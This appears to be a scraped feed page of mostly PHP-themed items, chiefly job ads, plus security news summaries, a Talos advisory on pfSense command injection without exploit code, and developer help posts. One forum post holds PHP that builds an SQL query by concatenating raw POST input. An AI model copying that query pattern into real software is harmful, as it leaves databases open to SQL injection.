It also goes with the most versatile triple-camera setup today. It is equipped with a Leica powered  40MP f/1.8 RGB sensor + 20MP f/2.2 ultra wide-angle + 8MP f/2.4 OIS telephoto sensor w/ 4D predictive focus, AIS, 5x zoom, 4K video recording, 960 fps slow motion, and dual-tone LED flash. It also has the AIS Super Night Mode for handheld long exposure shots.

It also has the highest 4G LTE Cat 21, dual-band GPS, In-Display fingerprint scanner, stereo speakers, and Android 9.0 Pie OS with EMUI 9.0 skin out of the box.

There you have it! For us, these are the very best smartphones that your money can buy in the country this Christmas.

Most of the smartphones listed here are also available online at Shopee Mall, Argomall, and Laz Mall.

#GIZPhoneAwards2018
#GIZPhoneAwards2018

You may also vote for your favorite smartphone at the #GIZPhoneAwards2018. To vote, click here.

Do you agree with us?

          PHP Developer - Collect Online - Herentals      Cache   Translate Page      
We lunchen samen in het bedrijfsrestaurant, onze kok zorgt voor een gevarieerde en gezonde maaltijden. We zijn een groeiend en dynamisch bedrijf uit Herentals...
Van Bonque - Thu, 15 Nov 2018 09:42:02 GMT - Toon alle vacatures in Herentals
          PWA for gym      Cache   Translate Page      
Hi, Please read my description carefully. I will share detailed doc via private chat. I prefer honest & high skilled developers can work with me for long term. 1- full stack developer, PHP and SQL, CSS, JS... (Budget: $30 - $250 USD, Jobs: CSS, Database Development, HTML, MySQL, PHP)
          Security: Bypass of Disabled System Functions, Ubuntu for Bitcoin Safety and FUD Over NPM      Cache   Translate Page      
  • Bypass of Disabled System Functions

    The disable_functions directive in the php.ini configuration file allows you to disable certain PHP functions. One of the suggested hardening practices is to disable functions such as system, exec, shell_exec, passthru, by using the disable_functions directive to prevent an attacker from executing system commands. However, a user named Twoster in the Russian Antichat forum announced a new bypass method to this security mechanism. In this blog post, we discuss the technical details of the bypass.

  • How to Use a Bitcoin Paper Wallet to Keep Your Crypto Safe

    As a crypto investor, it’s paramount that you understand the different ways to keep your Bitcoin safe. While most of the media attention focuses on hardware and software wallet solutions, there is another effective way to store your Satoshis: a Bitcoin paper wallet.

    This form of crypto storage is used by some of the biggest Bitcoin investors in the world. The Winklevoss Twins, the world’s first Bitcoin billionaires, reportedly keep their crypto in cold storage on paper wallets. The paper wallets are cut into pieces and stored in different bank safety deposit boxes throughout the country.

    [...]

    Restart your computer and boot your PC from your flash drive using the Ubuntu operating system. To do this, you will need to press F1 or F12 during your PC’s startup. A pop-up screen will emerge showing you your boot options. Choose the option that represents your flash drive. Allow Ubuntu to load on your PC.

  • Event-Stream Backdoor Doesn't Mean Open-Source Community Failing at Security [Ed: Free software catches such issues fast; proprietary software doesn't (or does so late, then covers it all up).]

    News last week that event-stream, the popular open-source code library managed by NPM, had been compromised by a hacker (or hackers) looking to steal Bitcoin led some to question the underlying security of the open-source components that they are using in their software.

read more


          Вопросы и пожелания, новые возможности • Re: Мой форум, ваши предложения по улучшению      Cache   Translate Page      
ZeB, ещё всяких штук прикручу. Сам не знаю зачем, но... а текущая версия движка уже не особо даёт пространство для манёвра. Да ещё и php до 7.x обновлю наконец :mrgreen:

Статистика: Добавлено Siava — 8 окт 2018, 23:41



          MailHog, configura y usa este servidor SMTP      Cache   Translate Page      
Atrapa el email de salida de tus aplicaciones web PHP y Laravel. Instala MailHog en Mac.
          PHP razvijalec (m/ž)      Cache   Translate Page      
Mednarodna ekipa išče nadobudne in iznajdljive ljudi za razvojspletnih sistemov. Zraven nudimo še fleksibilen delovni čas ter stimulativno plačilo.
          Access hire-php-developer.net. Hire PHP Developer, Hire ...      Cache   Translate Page      
In fact, the total size of Hire-php-developer.net main page is 3.1 MB. This result falls beyond the top 1M of websites and identifies a large and not optimized web page that may take ages to load. 60% of websites need less resources to load.
          Vulnerability Spotlight: Netgate pfSense system_advanced_misc.php powerd_normal_mode Command Injection Vulnerability      Cache   Translate Page      

Brandon Stultz of Cisco Talos discovered these vulnerabilities.

Executive summary

Today, Cisco Talos is disclosing a command injection vulnerability in Netgate pfSense system_advanced_misc.php powerd_normal_mode. pfSense is a free and open source firewall and router that also features unified threat management, load balancing, multi WAN, and more.

In accordance with our coordinated disclosure policy, Cisco Talos worked with Netgate to ensure that these issues are resolved and that an update is available for affected customers.


Vulnerability details

Netgate pfSense system_advanced_misc.php powerd_normal_mode Command Injection Vulnerability (TALOS-2018-0690 / CVE-2018-4019)

This command injection vulnerability in Netgate pfSense is due to lack of sanitization on the 'powerd_normal_mode' parameter in POST requests to 'system_advanced_misc.php'. When processing requests to '/system_advanced_misc.php', Netgate pfSense firewall does not properly sanitize the 'powerd_normal_mode' POST parameter. 

For more information on this vulnerability, read the full advisory here.


Netgate pfSense system_advanced_misc.php powerd_ac_mode Remote Command Injection Vulnerability (TALOS-2018-0690 / CVE-2018-4020)

A command injection vulnerability in Netgate pfSense exists due to the lack of sanitization on the 'powerd_ac_mode'parameter in POST requests to 'system_advanced_misc.php'. When processing requests to '/system_advanced_misc.php', Netgate pfSense firewall does not properly sanitize the 'powerd_ac_mode' POST parameter.

For more information on this vulnerability, read the full advisory here.

Netgate pfSense system_advanced_misc.php powerd_ac_mode Remote Command Injection Vulnerability (TALOS-2018-0690 / CVE-2018-4021) 

A command injection vulnerability in Netgate pfSense exists due to the lack of sanitization on the powerd_battery_mode', parameter in POST requests to 'system_advanced_misc.php'. When processing requests to '/system_advanced_misc.php', Netgate pfSense firewall does not properly sanitize the 'powerd_battery_mode' POST parameter.

For more information on this vulnerability, read the full advisory here.

Conclusion

Cisco Talso tested and confirmed that Netgate pfSense CE 2.4.4-RELEASE is affected by these vulnerabilities.


Coverage

The following SNORTⓇ rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your Firepower Management Center or Snort.org.

Snort Rules: 48178


          Provision Of Tools And Equipment (Attractions And Theme Parks Nc Ii) For Technical Vocational Livelihood Programs Of Tvl-Shs For Non Implementing Units/ (Non-Ius)      Cache   Translate Page      
Provision Of Tools And Equipment (Attractions And Theme Parks Nc Ii) For Technical Vocational Livelihood Programs Of Tvl-Shs For Non Implementing Units/ (Non-Ius)
2018-12-02
Implementing Rules and Regulations
Negotiated Procurement - Small Value Procurement (Sec. 53.9)

Description
ANGELES CITY NHS - ATTRACTIONS AND THEMEPARKS NC II
PHP 65,826.72 /PACKAGE



          electric hydraulic pump vickers hydraulic pumps      Cache   Translate Page      
hydraulic pump manufacturers_hydraulic pump parts_hydraulic pumps and motors suppliers in china China hydraulic pump manufacturers, hydraulic pumps and motors, hydraulic pump parts, piston pump parts...Ningbo PHP Hydraulics Co., Ltd.
          Fix "Call to undefined function drupal_add_css()" error at bottom of pages?      Cache   Translate Page      

Hello folks, I recently undertook a project to convert a drupal 7 website to drupal 8. They had a custom theme, so I used bootstrap subtheme to create the custom theme. They also had php in a lot of their content pages, so I installed the php filter module. Recently, I noticed that the following error gets displayed at the bottom of every page, after everything has loaded.

The website encountered an unexpected error. Please try again later.
Error: Call to undefined function drupal_add_css() in eval() (line 1 of modules/contrib/php/php.module(81) : eval()'d code)

I was wondering if anyone has any experience with this error, and how I can resolve this.

P.S. I realise that using php filter has some security risks, however due to the time constraint of the project, we have decided on using the module.

Thank you!

Drupal version: 

          I want to get the status of the user on Drupal 8.      Cache   Translate Page      

I want to get the status of the user on Drupal 8.

With the code below, if the user is online, the status is online. But if the user has been offline for more than an hour, the status is missing. Normally it should be offline.

What's wrong with this code ?

Thank you

Here is what I added in the user.html.twig file :

<div class="bs-field-status">
{% if status == 'Online' %}
<i class="user-online fa fa-circle fa-lg"></i> Online
{% elseif status == 'Absent' %}
<i class="user-absent fa fa-circle fa-lg"></i> Absent
{% else %}
<i class="user-offline fa fa-circle fa-lg"></i> Offline
{% endif %}
</div>

bootstrap_sub.theme :

<?php
/**
* @file
* Bootstrap sub-theme.
*
* Place your custom PHP code in this file.
*/
 
use Drupal\Core\Database\Database;
 
/**
* Implements hook_entity_presave().
*/
function bootstrap_sub_preprocess_user(&$variables) {
// get user object
$user = $variables['elements']['#user'];
//- The user has logged in at least once
if ($user->getLastLoginTime()) {
if (account_is_logged_in_less_then_thirty_minutes($user->id())) {
$status = 'Online';
}
else {
$status = 'Absent';
}
}
else {
$status = 'Offline';
}
$variables['status'] = $status;
}
 
/**
* @param $uid
*
* @return bool
*/
function account_is_logged_in_less_then_thirty_minutes($uid) {
$connection = Database::getConnection();
$query = $connection->select('sessions', 'sessions')
->fields('sessions', ['sid', 'uid', 'timestamp'])
->condition('sessions.uid', $uid, '=')
//- chef if the user was online in 30 minutes (60 * 30)
->condition('sessions.timestamp', \Drupal::time()
->getRequestTime() - (60 * 30), '>')
->execute();
//- Get result.
$results = $query->fetchAll(\PDO::FETCH_OBJ);
return (count($results) > 0) ? TRUE : FALSE;
}

Drupal version: 

          Lowongan Kerja Codeigniter Developer Jakarta      Cache   Translate Page      
At least 1 years of experience in software development as Backend EngineerExperienced use CodeIgniterHave a good in MySQL/MariaDB.Have a good PHP HTML Javascript Framework Jquery AJAX is a must.Good knowledge on developing API and familiar ...

          PHP Developer      Cache   Translate Page      
TX-Fort Worth, If you are a PHP Developer with experience, please read on! Top Reasons to Work with Us Global organization to better peoples lives. What You Will Be Doing PRIMARY DUTIES AND RESPONSIBILITIES: Object-oriented PHP x and JavaScript development Proactive engagement in project challenges and problem solving Actively follow the latest developments in PHP, JQuery, Javascript, CSS, NodeJS and HTMLS Commu
          Senior Software Engineer (PHP)      Cache   Translate Page      
FL-Fort Lauderdale, If you are a Software Engineer who has strong PHP development experience, with Symfony, and/or Laravel experience , then please continue reading on!! Senior Software Engineer or Senior Full-Stack Software Engineer or Senior PHP Engineer Location: Fort Lauderdale, FL Salary: $90-120K + healthcare benefits + 401K Our platform is a cloud-based sourcing platform for the Corporate Accommodations-Travel
          PHP Developer (with AWS)      Cache   Translate Page      
CA-Santa Clara, PHP Developer (with AWS) Location: Santa Clara, CA Duration: 3-6 Months Contract Description: Need strong OO PHP development Build middle end tier using Silex PHP framework Using jQuery library create custom JavaScript for internal project. Bootstrap 3 for CSS templates within the project. Landing pages using custom PHP framework together with Backbone.js AWS
          PHP DEVELOPER      Cache   Translate Page      
NC-Raleigh, PHP DEVELOPER The Select Group is seeking a PHP Developer to add to a growing team with one of our top clients in downtown Raleigh, NC. Really looking for someone has 5+ years of PHP Developer experience and a basic understanding of Linux system administration and basic automation concepts. The ideal candidate will have experience developing PHP applications. * Open to candidates to sit on-site or
          Senior PHP Developer      Cache   Translate Page      
TX-Houston, ID- CTRAJP00004046 Title- Senior PHP Developer Location- 12 Greenway Plaza Suite 250 , Houston TX-77046 Duration-12 Months contract+ To support back-end services and the interchange of data between the server and the users. Your primary focus will be the development of all server-side logic, API's, definition and maintenance of the central database, and ensuring high performance and responsiveness
          **REMOTE** PHP Developer      Cache   Translate Page      
NC-Charlotte, If you are a PHP Developer with Symfony experience, please read on! We are a fast-paced, startup, financial services firm with data science team to support our growing database and we need you to make it happen! What You Will Be Doing *REMOTE POSITION* - Participate in the architecture and design of new and existing products - Work with stakeholders to define constraints and develop requirements -
          Senior/Lead PHP Developer ($160k - $200k)      Cache   Translate Page      
CA-San Francisco, Location: San Francisco Salary: $160k - $200k If you are a Senior/Lead PHP Developer, please read on! Located in North Beach, we are a VC backed and award winning streaming video platform that connects online video producers with subscription based TV systems and also provide metadata and cloud based services on broadband-connected devices. We are a high performance team, and operate under our own
          Jeepney drivers, operators to get P20K fuel subsidy in 2019      Cache   Translate Page      


MANILA -- The government is set to provide fuel subsidies amounting to PHP20,000 to public utility jeepney (PUJ) operators and drivers to mitigate the impact of higher fuel prices due to the imposition of excise taxes under the Tax Reform for Acceleration and Inclusion (TRAIN) law, a transportation official said Wednesday.

“As we prepare for 2019, the Pantawid Pasada fuel subsidy distribution will continue. As announced, the subsidy will be in the original amount that was proposed which is something like PHP 20,000,” Land Transportation Franchising and Regulatory Board (LTFRB) chairman Martin Delgra III said in a press briefing.

The program, launched last July, distributes fuel subsidy cards worth PHP5,000 to around 180,000 PUJ operators and drivers this year.

Each card contains the complete name of the franchise holder, plate number of the PUJ, region where the franchise was registered, and card number. Beneficiaries must sign a deed of undertaking that the subsidy cards will only be used for purchases of petroleum products at gasoline stations.

The Department of Transportation (DOTr) earlier said the fuel subsidies worth PHP20,000 will be provided next year.

Latest data from the DOTr and LTFRB show that a total of 67,721 Pantawid Pasada fuel subsidy cards were distributed to jeepney operators and drivers, amounting to some PHP338.61 million.

Presidential Spokesperson Salvador Panelo announced on Tuesday that President Rodrigo Duterte has approved the recommendation of the Development Budget Coordination Committee (DBCC) to implement higher fuel taxes as petroleum prices continue to decline in the world market.

Under the TRAIN law, the oil excise tax hike may be suspended if oil prices in the world market average USD80 per barrel or higher for three consecutive months.

The current oil price has gone down to USD53 per barrel after reaching a peak of close to USD80 per barrel. (PNA)

          PHP Developer - Semicolon ITES - Durgapur, West Bengal      Cache   Translate Page      
You will be a part of a creative team that is responsible for all aspects of the ongoing software development from the initial specification, through to... ₹12,000 - ₹17,000 a month
From Semicolon ITES - Fri, 23 Nov 2018 04:11:57 GMT - View all Durgapur, West Bengal jobs
          Filtering issue in mysql query triggered by ajax form      Cache   Translate Page      

@IBazz wrote:

Hi,
New to javascript and php. Perl/MySql is my usual.

Submitting via ajax, to a php script, I can’t seem to get the filtering to work, partly because I can’t access the values being received by php. $_POST[filterOpts]

Here is the html page that submits to the php script

<style>
      body {
        padding: 10px;
      }
 
      h1 {
          margin: 0 0 0.5em 0;
          color: #343434;
          font-weight: normal;
          font-family: 'Ultra', sans-serif;   
          font-size: 36px;
          line-height: 42px;
          text-transform: uppercase;
          text-shadow: 0 2px white, 0 3px #777;
      }
 
      h2 {
          margin: 1em 0 0.3em 0;
          color: #343434;
          font-weight: normal;
          font-size: 30px;
          line-height: 40px;
          font-family: 'Orienta', sans-serif;
      }
 
      #phones {
        font-family: "Lucida Sans Unicode", "Lucida Grande", Sans-Serif;
        font-size: 12px;
        background: #fff;
        margin: 15px 25px 0 0;
        border-collapse: collapse;
        text-align: center;
        float: left;
      }
 
      #phones th {
        font-size: 14px;
        font-weight: normal;
        color: #039;
        padding: 10px 8px;
        border-bottom: 2px solid #6678b1;
      }
 
      #phones td {
        border-bottom: 1px solid #ccc;
        color: #669;
        padding: 8px 10px;
      }
 
      #phones tbody tr:hover td {
        color: #009;
      }
 
      #filter {
        float:left;
      }

      fieldset{
        margin-top: 15px;
      }

      fieldset div{
        padding:0 0 5px 0;
      }

      .amount{
        width:50px;
      }
pre{
  margin:0 0 20px 0;
  padding:10px;
  color:red;
  background: gray;
}
    </style>
  </head>
  <body> 

   


    <h1>Filters table</h1>
 
    <table id="phones">
      <thead>
        <tr>
          <th width="15">ID</th>
          <th>Brand</th>
        </tr>
      </thead>
      <tbody>
      </tbody>
    </table>


<div id="filter">

  <h2>Filter options</h2>
  <div>
    <input type="checkbox" id="Kenwood">
    <label for="Kenwood">Kenwood</label>
  </div>
  <div>
    <input type="checkbox" id="Oxo">
    <label for="Oxo">Oxo</label>
  </div>
 <div>
    <input type="checkbox" id="Brabantia">
    <label for="Brabantia">Brabantia</label>
  </div>

</div>




  <div id="debug"></div>
    <script src="http://code.jquery.com/jquery-latest.js"></script> 
    <script>

    //debug = true;
    //  function handleDebug(debugInfo){
    //    $("#debug").html("<pre>" + debugInfo + "</pre>");
    //  }


      function makeTable(data){
        var tbl_body = "";

        $.each(data, function(k, v) {
          var tbl_row = "",
              currRecord = this;


//if(k==="debug"){
//      if(debug === true){
//        handleDebug(v);
//      }
//      return;
//    }


          $.each(this, function(k , v) {
            if(k==='brand'){
              v = "<a href='content.php?id=" + currRecord['id'] +"'>" + v + "</a>";
            } else if (k==='size'){
              v = "<span class='price'>" + v + "</span>";
            }
            tbl_row += "<td>"+v+"</td>";
          })
          tbl_body += "<tr>"+tbl_row+"</tr>";
        })

        return tbl_body;
      }
 
      function getPhoneFilterOptions(){
        var opts = [];
        $checkboxes.each(function(){
          if(this.checked){
            opts.push(this.id);
          }
        });
 
        return opts;
      }
 
      function updatePhones(opts){
        $.ajax({
          type: "POST",
          url: "/php-queries/product-catalogue-query.php",
          dataType : 'json',
          cache: false,
          data: {filterOpts: opts},
          success: function(records){
            $('#phones tbody').html(makeTable(records));
            updatePrices();
          }
        });
      }
      
      function subsidyIsValid(){
        var amount1 = $("#amount1").val(),
            amount2 = $("#amount2").val(),
            regex = /^\d+$/,
            inputValid = false;

        if(regex.test(amount1) && regex.test(amount2)){
          var newTotal = Number(amount1) + Number(amount2)
          $("#total").text(newTotal);
          inputValid = true;
        }

        return inputValid
      }

      function updatePrices(){
        var subsidyTotal = Number($("#total").text());

        $(".price").each(function(){
          var origVal = Number($(this).text())
          $(this).text(origVal - subsidyTotal)
        })
      }

      var $checkboxes = $("input:checkbox");
      $checkboxes.on("change", function(){
        var opts = getPhoneFilterOptions();
        updatePhones(opts);
      });
      
      $("#apply").on("click", function(){
        if(subsidyIsValid()){
          $(this).prop("disabled", true);
          $(this).next().prop("disabled", false);
          updatePrices();
        } else {
          alert("Subsidy invalid!")
        }
      });

      $("#remove").on("click", function(){
        $("#amount1").val("");
        $("#amount2").val("");
        $("#total").text("0");
        $(this).prop("disabled", true);
        $(this).prev().prop("disabled", false);

        $checkboxes.trigger("change");
      });

      $checkboxes.trigger("change");
      updatePrices();
    </script> 

Here is the php code of the receiving php page

$conn = new PDO("mysql:host=$hostname;dbname=$db", $username, $password);
    // set the PDO error mode to exception
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $select = 'SELECT id, brand';
    $from = ' FROM retailers_product_catalogue';
    $where = ' WHERE ';


    $opts = $_POST['filterOpts'];


   if (empty($opts))
   {
   // 0 checkboxes checked
   $where .= 'TRUE';
   }
   else 
   {
       if(count($opts) == 1)
       {
       // 1 checkbox checked
       $where .= $opts . " = $opts[0]";
       } 
   }
 //   else 
 //   {
 //   // 2+ checkboxes checked
 //   $where .= implode(' = 1 OR ', $opts) . ' = 1';
 //   }
  

    $sql = $select . $from . $where;
    $statement = $conn->prepare($sql);
    $statement->execute();
    $results=$statement->fetchAll(PDO::FETCH_ASSOC);

  //$debugInfo = array('debug' => vsprintf(str_replace("?", "%s", $sql->queryString), $opts));


  //$results = array_merge($debugInfo, $results);

    $json=json_encode($results);
    echo($json);



   

    }
    catch(PDOException $e)
    {
    echo "Error: " . $e->getMessage();
    }


$conn = null;

The checkboxes that will be used to filter the resultset will be submitting text values (not boolean).
Those values could be Kenwood, Brabantia Oxo or any other brand of Kitchen equipment. I need the filtering portion to bring back from the Db, just those brands selected.

Also, I’ve used the debug and it shows no output unless I force it to do something wrong. So how would I force the output of the $_POST[filterOpts] as they are received into this script? Dump doesn’t display because the triggering script only outputs whats returned in the resultset.

Any assistance would be much appreciated.

Bazz

Posts: 3

Participants: 2

Read full topic


          PHP Developer at Gidi Mobile Limited      Cache   Translate Page      
Gidi Mobile Limited - Our organisation is a dynamic fast-paced technology firm, positioned to make an impact in the technology sector while delivering value to its customers.Location: Victoria Island, Lagos Job Description Are you an experienced PHP Developer looking to join a dynamic team of young and super-bright developers who are passionate about transforming lives through code? Are you well-versed in programming best practices and object-oriented design patterns? Are you passionate about excellence and breaking new frontiers? Would you love to join a global, world-class team of experts that loves to have fun while doing great work? If this is you in a nutshell, then we have a job for you! Responsibilities You will be responsible for developing, testing, and maintaining scalable PHP-based web applications and services using object-oriented design patterns You will be required to identify and correct bottlenecks and fix bugs You will conduct code reviews and help maintain code quality & documentation Requirements To be successful in this role, you are expected to have: A minimum of 3 years experience with PHP Experience building web applications and services using PHP, Laravel, Slim and Eloquent ORM Experience with continuous integration and delivery process with Jenkins Strong knowledge of front-end technologies, such as JavaScript, HTML5, and CSS3 Knowledge of object-oriented programming and coding best practices Practical experience with Linux OS Experience with container solutions such as Docker Good knowledge of relational and NoSQL databases like MySQL, Redis, MongoDB Experience with code versioning tools (Git) [Experience with Angular(4/5) and TypeScript would be a plus] Finally, in terms of human qualities, a strong candidate for this role will: Be deeply curious, and up-to-date with the latest trends & techniques Have a significant degree of developer community involvement and reputation Have a very high level of integrity, and unquestioned respect for intellectual property Be very hardworking, very persistent, and very self-driven Share our passion to create a better world through our work
          Angular Developer at Gidi Mobile Limited      Cache   Translate Page      
Gidi Mobile Limited - Our organisation is a dynamic fast-paced technology firm, positioned to make an impact in the technology sector while delivering value to its customers.Location: Victoria Island, Lagos Job Summary Are you an experienced Angular Developer that is passionate about users, and builds with user context uppermost in your mind? Are you at home working with designers to bridge the gap between imagination & user delight? Are you passionate about excellence and breaking new frontiers? Are you passionate about developing awesome applications that actually transform real human beings' lives? Would you love to join a global, world-class team of experts that loves to have fun while doing great work? If this is you, then we have a job for you! Responsibilities You will be responsible for developing, maintaining and testing components of mobile and desktop web apps. You will create e2e test suites, and build and test scripts for continuous integration. You will work with back-end developers to integrate back-end REST services. You will conduct code reviews and help maintain code quality & documentation. Requirements To be successful in this role, you are expected to have: A minimum of 4 years' experience with Angular(2/4/5) Deep knowledge of Angular practices and commonly used modules Strong knowledge of TypeScript, JavaScript, HTML5, and CSS3 Experience with CSS precompilers like Sass and LESS Practical experience with Progressive Web Apps & PWA performance checklists Proficient understanding of cross-browser compatibility issues and ways to work around them Good understanding of SEO principles Experience with code versioning tools (Git) Expertise and experience with developing for users in poor-connectivity environments Experience with PHP frameworks (Laravel, Slim) would be a plus. Finally, in terms of human qualities, a strong candidate for this role will: Be deeply curious, and up-to-date with the latest trends & techniques Have a significant degree of developer community involvement and reputation Have a very high level of integrity, and unquestioned respect for intellectual property Be very hardworking, very persistent, and very self-driven Share our passion to create a better world through our work.
          Software Engineering Intern at Gidi Mobile Limited      Cache   Translate Page      
Gidi Mobile Limited - Our organisation is a dynamic fast-paced technology firm, positioned to make an impact in the technology sector while delivering value to its customers.Location: Victoria Island, Lagos Job Decription A PHP Developer who is well-versed in programming best practices and object-oriented design patterns to help build and maintain our PHP based web applications and services. What will be required of you? You will Develop, test and maintain scalable PHP based web applications and services using object-oriented design patterns Requirements To do these and even more, you are expected to have: Minimum 3 years' experience with PHP Experience building web applications and services using PHP, Laravel, Slim and Eloquent ORM Experience with continuous integration and delivery process with Jenkins Strong knowledge of front-end technologies, such as JavaScript, HTML5, and CSS3 Knowledge of object-oriented programming and coding best practices Practical experience with Linux OS Experience with container solutions such as Docker Good knowledge of relational and NoSQL databases like MySQL, Redis, MongoDB Experience with code versioning tools (Git) Experience with Angular(4/5) and TypeScript is a plus
          Mobile Application Developer at Excellent & Strategic Solutions      Cache   Translate Page      
Excellent & Strategic Solutions is a frontline web & mobile applications development startup firm who provide top of the class service to reputable clients all around the country. We specialize in developing and marketing web applications that eliminate bureaucracy and promote automation of all business processes.Location: Agege, Lagos Job Description We are looking for a Mobile applications Developer who will be responsible for developing, implementing and managing our mobile app strategy in synergy with our lead application developer and other developers You will be well introduced into our products and given every necessary assistance to build out our mobile apps You should be ready to work with interns to deliver on your expected tasks. Your primary focus will be the development of mobile apps for our line of business management and automation cloud based software, and ensuring high performance and responsiveness to requests from the front-end. A basic understanding of mobile front-end technologies is necessary as well. Responsibilities Develop and/or modify our user facing mobile applications and their integration with back end systems Test and review work by other developers Work with individuals on your team to follow established coding standards, workflow, or tool standards Collaborate with team members to define product requirements and implementation Engage in Agile software development activities, including sprint planning, daily standups, retrospectives and hackathons Requirements Experience with Android sdk OR/AND experience with ReactJS and AngularJS Knowledge and experience with use of Git, HTML, CSS, Experience developing Android or/and iOS mobile applications. Must have design and production support experience Strong communication skills Must have strong Analytical, problem solving, and documentation skills Ability and willingness to work to meet tough deadlines Ability to work on their own and as a part of the team Knowledge of PHP language will be an added advantage Living close to Ogba, Ojodu, Ikeja, Abulegba, Agege and environs will be an added advantage ND, HND, B.Sc are welcome to apply Other Requirements Include: Passionate about learning and improving. Ability to work independently and drive self-learning Ability to create and apply innovative solutions Ability to think critically and contribute to plans within a project's development Friendly & energetic individual with outstanding communication skills Our Offer Wage based on experience Fun work environment. Potential for stock options for the right individual
          Software/Sharepoint Developer at Eko Electricity Distribution Company      Cache   Translate Page      
Eko Electricity Distribution Plc (EKEDC) is widely regarded as the flagship of Nigerian Electricity Supply Industry (NESI).Job Description Develop software solutions through research and analysis of needs. Work with Department Heads and Project Leads to understand system workflows, data usage, processes etc. Design, develop and maintain software's through the use of Microsoft technologies such as SharePoint, PowerApps, Microsoft flow, C#, .NET, etc Design and maintain company website using the PhP (Laravel), Javascript, JQuery, Ajax, AngularJSm MySQL etc Implement SharePoint based workflows as well as developing Report Dashboards Maintain updated documentation on solutions and deployments Develop documentation, flowcharts, layouts, charts and diagrams for solutions and projects Plan, recommend and implement enhancements and upgrades Actively participate in product design reviews to provide creative and practical ideas and solutions for the team
          CMS (WordPress) developer - The Moving Pixel - West Bengal      Cache   Translate Page      
Web Developer knowing PHP & WordPress Requirements: Strong knowledge of WordPress development Excellent knowledge of PHP, HTML/HTML5, CSS/CSS3, JavaScript,...
From The Moving Pixel - Sun, 14 Oct 2018 05:06:05 GMT - View all West Bengal jobs
          Program Therapist - Adolescent IOP/PHP -Registry - Riveredge Hospital - Forest Park, IL      Cache   Translate Page      
Under the direction of the Director of Residential and Outpatient Services, the Registry Program Therapist provides for the delivery and documentation of age ...
From Universal Health Services - Wed, 14 Nov 2018 14:48:07 GMT - View all Forest Park, IL jobs
          Ваша реклама #18.0      Cache   Translate Page      

http://forumfiles.ru/files/0019/e7/0f/26765.jpg

http://glassdrop.rusff.ru/viewtopic.php … p=2#p11581


          Assistant Store Keep - Brenton International Venture Manufacturing Corp. - La Trinidad      Cache   Translate Page      
Senior High Graduate*. Senior High School (Preferred). With or Without sales and Marketing Exp.*.... PHP 9,000 - PHP 10,000 a month
From Indeed - Wed, 21 Nov 2018 03:36:31 GMT - View all La Trinidad jobs
          Mares Service Crew - Famous Belgian Waffles Group - Baguio      Cache   Translate Page      
*QUALIFICATIONS* * Male/ Female * 18y/o and above * Atleast Highschool Graduate/Vocational * 6 months to 1 year working experience * Trustworthy, Hardworking,... PHP 8,000 - PHP 9,000 a month
From Indeed - Mon, 03 Dec 2018 08:00:47 GMT - View all Baguio jobs
          FBW Service Crew - Famous Belgian Waffles Group - Baguio      Cache   Translate Page      
*QUALIFICATIONS* * Male/ Female * 18y/o and above * Atleast College Level/Undergrad/Vocational * 6 months to 1 year working experience * Trustworthy,... PHP 7,000 - PHP 8,000 a month
From Indeed - Mon, 03 Dec 2018 07:10:42 GMT - View all Baguio jobs
          Sales Associate - B&C STAFF BUILDERS - Baguio      Cache   Translate Page      
College level or High School Graduate Must be 5'6 in height for boys/ 5'3 for girls Good in communication Preferably with experience in sales Job Type:... PHP 10,000 - PHP 12,000 a month
From Indeed - Thu, 15 Nov 2018 05:03:00 GMT - View all Baguio jobs
          Sales Agent - Grand Canyon Inc. - Baguio      Cache   Translate Page      
Senior High School (Preferred). At least Senior High School graduate. With above average knowledge on customer service.... PHP 8,320 - PHP 9,000 a month
From Indeed - Wed, 07 Nov 2018 06:07:32 GMT - View all Baguio jobs
          Developpeur PHP Magento (H/F) - Randstad Search - Aubagne, Sophia Antipolis, Lyon      Cache   Translate Page      
Notre client est c'est avant tout une société issue d'une aventure humaine partagée par des collaborateurs de qualité, pour certains reconnus comme les meilleurs experts Magento français. Nous vous offrons l'opportunité de rejoindre une équipe joviale, de tous horizons, spécialisés dans le commerce digitalisé. Vous serez intégré(e) au pôle développement, et serait amené(e) à monter en compétences en fonctions de vos aspirations. Votre poste n'est pas figé et vous aurez la...
          Développeur PHP (H/F) - Infotel - Bordeaux      Cache   Translate Page      
Intégrer les équipe de développement en charge des applications PHP/CMS. Domaine d'intervention du collaborateur : Le collaborateur interviendra sur la création et le développement de projets NTIC, pour mener les travaux suivants : Participation à la rédaction des spécifications fonctionnelles et techniques Rédaction des dossiers de conception Développements et tests Recette Réalisation de la documentation : Manuel d'utilisation, Document d'architecture, ... Mise en oeuvre de...
          Сделать сложное простым: что такое DSL, или зачем вам новый язык программирования      Cache   Translate Page      

Сделать простое иногда во много раз сложнее, чем сложное
© Михаил Калашников

Здравствуйте, меня зовут Владимир Кожаев, я фрилансер-разработчик инструментальных средств (звучит почти как анонимный алкоголик). Этой статьёй я открываю цикл материалов, посвящённый разработке парсеров, трансляторов, компиляторов и тому подобных инструментов, облегчающих жизнь.

Действительно, зачем это нужен ещё один язык программирования? Понятно, он может быть нужен в каких-то НИИ при университетах, но обыкновенному бизнесу — какой толк от этой заумной мути? Вообще к чему столько разных языков, почему бы не использовать один единственный? Давайте разберёмся.

Почему бы не пользоваться одним языком

Жил да был в Великобритании выдающийся математик, логик, криптограф, и звали его Алан Тьюринг. В числе других открытий он придумал машину имени себя. Опуская подробности, скажем, что с помощью этой машины можно реализовать всё то же, что и с помощью любых средств программирования более высокого уровня. То есть любую программу на любом языке можно переписать с помощью этого достаточно простого средства. Тем более на любом языке типа Java или PHP можно реализовать эту самую машину.

Как следствие, существует критерий полноты по Тьюрингу-Чёрчу. Язык называется полным, если на нём можно реализовать машину Тьюринга. Все популярные языки программирования общего назначения (Java, C#, PHP, Python, Scala, JavaScript и так далее) являются полными. Что же это означает? Все популярные языки эквивалентны! Ну вот, смотрите: мы знаем, что все программы можно выполнить с помощью машины. Машину же, которая выполняет, можно написать что на PHP, что на C++. Получается, одну и ту же программу, записав её на языке машины Тьюринга, можно выполнить везде. А мы знаем, что так можно записать вообще любую программу.

На практике это означает, что программу на языке, скажем, JavaScript, поднатужившись, можно переписать на С++. Обратное тоже справедливо. Да, имеют значение библиотеки и фреймворки, но саму логику можно без проблем перенести с одного языка на другой.

